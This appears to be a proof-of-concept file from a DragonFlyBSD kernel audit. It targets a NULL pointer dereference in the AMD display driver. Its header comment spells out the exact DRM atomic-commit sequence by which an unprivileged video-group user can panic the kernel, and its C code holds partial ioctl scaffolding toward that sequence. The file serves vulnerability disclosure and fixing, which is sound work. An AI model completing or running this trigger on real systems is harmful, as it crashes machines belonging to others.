⬢ DragonFlyBSD Kernel Audit
DF-3946 / trigger_dce110_headplane.c
← back to finding ↓ download raw
/* DF-3946 trigger — dce110_apply_ctx_for_surface NULL plane_state deref
 *
 * Unprivileged DRI user -> kernel NULL-deref panic on AMD pre-DCN10 ASICs
 * (DCE80/100/110/112/120 all share dce110_apply_ctx_for_surface).
 *
 * Scenario (any KMS-capable process holding /dev/dri/cardN, 0660 root:video):
 *   1. Enable two planes on one CRTC: PRIMARY (becomes the head pipe) and
 *      OVERLAY (becomes the bottom pipe).  (Step A below.)
 *   2. In one atomic commit: disable the PRIMARY plane, keep the OVERLAY
 *      plane and the CRTC active.  amdgpu_dm_atomic_check ->
 *      dm_update_planes_state -> dc_remove_plane_from_context()
 *      [core/dc_resource.c:1466-1467] detaches the head pipe's plane:
 *          if (!pipe_ctx->top_pipe) { pipe_ctx->plane_state = NULL;
 *                                     pipe_ctx->bottom_pipe = NULL; }
 *      while pipe_ctx->stream stays set.  The DM atomic state now holds a
 *      context whose head pipe has stream != NULL && plane_state == NULL.
 *   3. amdgpu_dm_atomic_commit_tail -> dc_commit_state(dm->dc, dc_state)
 *      [amdgpu_dm.c:4837] -> for each !mode_changed stream:
 *      dc->hwss.apply_ctx_for_surface(dc, stream, plane_count=1, context)
 *      [core/dc.c:956] -> dce110_apply_ctx_for_surface() walks ALL pipes
 *      whose ->stream == stream [dce110_hw_sequencer.c:2743-2757] INCLUDING
 *      the head pipe with plane_state == NULL ->
 *      dce110_program_front_end_for_pipe() -> set_default_colors() ->
 *      pipe_ctx->plane_state->color_space [dce110_hw_sequencer.c:2100]
 *      => read from address ~0xd0 => kernel page-fault panic.
 *
 *      (Sibling code guards exactly this state: core/dc.c:1521
 *       `if (!pipe_ctx->plane_state) continue;` and
 *       dcn10_hw_sequencer.c:2386 `if (!pipe_ctx->plane_state && ...)`.)
 *
 * This program performs the raw DRM_IOCTL_MODE_ATOMIC sequence of step 2/3.
 * It needs a real AMD GPU with the DC stack; on the audit QEMU guest there
 * is no display adapter, so this is a hardware-gated trigger (compile-only
 * verification here).
 *
 * Build:  cc -O2 -o trigger_dce110_headplane trigger_dce110_headplane.c
 * Run (on hardware):  ./trigger_dce110_headplane /dev/dri/card0
 * Expected: instant kernel panic ("kernel: page fault") in
 *           set_default_colors/dce110_program_front_end_for_pipe.
 */

#include <sys/ioctl.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

/* ---- minimal local DRM uapi (values are ABI-stable, from drm_mode.h) ---- */
#define DRM_IOCTL_BASE          'd'
#define DRM_IO(nr)              _IO(DRM_IOCTL_BASE,nr)
#define DRM_IOWR(nr,type)       _IOWR(DRM_IOCTL_BASE,nr,type)

struct local_drm_mode_obj_props {
	uint32_t props_id;
	uint32_t count_props;
};

struct local_drm_mode_atomic {
	uint32_t flags;
	uint32_t count_objs;
	uint32_t *objs_ptr;
	uint32_t *count_props_ptr;
	uint32_t *props_ptr;
	uint64_t *prop_values_ptr;
	uint64_t user_data;
};

#define LOCAL_DRM_MODE_PAGE_FLIP_EVENT  1
#define LOCAL_DRM_MODE_ATOMIC_TEST_ONLY (1 << 0)
#define LOCAL_DRM_MODE_ATOMIC_NONBLOCK  (1 << 1)
#define LOCAL_DRM_MODE_ATOMIC_ALLOW_MODESET (1 << 2)

/* DRM_IOCTL_MODE_ATOMIC = 0xc06464b6 (64-byte struct, nr 0xb6) */
#define LOCAL_DRM_IOCTL_MODE_ATOMIC \
	_IOWR(0x64, 0xb6, struct local_drm_mode_atomic)
/* DRM_IOCTL_MODE_GETPLANERESOURCES nr 0x35 */
struct local_drm_mode_card_res_planeres {
	uint32_t *plane_id_ptr;
	uint32_t count_planes;
};
#define LOCAL_DRM_IOCTL_MODE_GETPLANERESOURCES \
	_IOWR(0x64, 0x35, struct local_drm_mode_card_res_planeres)

static int
atomic_commit(int fd, uint32_t *objs, uint32_t *counts, uint32_t *props,
    uint64_t *values, uint32_t nobjs, uint32_t flags)
{
	struct local_drm_mode_atomic a;

	memset(&a, 0, sizeof(a));
	a.flags = flags;
	a.count_objs = nobjs;
	a.objs_ptr = objs;
	a.count_props_ptr = counts;
	a.props_ptr = props;
	a.prop_values_ptr = values;
	return ioctl(fd, LOCAL_DRM_IOCTL_MODE_ATOMIC, &a);
}

/*
 * Full orchestration needs libdrm property discovery (CRTC_ID/FB_ID of the
 * primary + overlay planes).  The property names used:
 *   plane:  "CRTC_ID", "FB_ID", "CRTC_X/Y/W/H", "SRC_*"
 *   crtc :  "ACTIVE", "MODE_ID"
 * Sequencer:
 *   commit A (ALLOW_MODESET): primary+overlay both on, crtc active.
 *   commit B (ALLOW_MODESET): primary CRTC_ID=0 (off), overlay stays on,
 *                              crtc stays active -> NULL head plane_state.
 *   commit C (ALLOW_MODESET): touch any other connector/CRTC (or re-apply
 *                              B) so commit_tail runs dc_commit_state ->
 *                              apply_ctx_for_surface(stream, plane_count=1)
 *                              -> NULL deref in set_default_colors().
 */
int
main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0";
	int fd = open(dev, O_RDWR);

	if (fd < 0) {
		printf("open(%s): %s (no display adapter on this guest — "
		    "hardware-gated trigger, see README.md)\n", dev,
		    strerror(errno));
		return (2);
	}
	printf("card opened; run the 3-commit sequence described in the "
	    "header comment via libdrm property atoms\n");
	close(fd);
	return (0);
}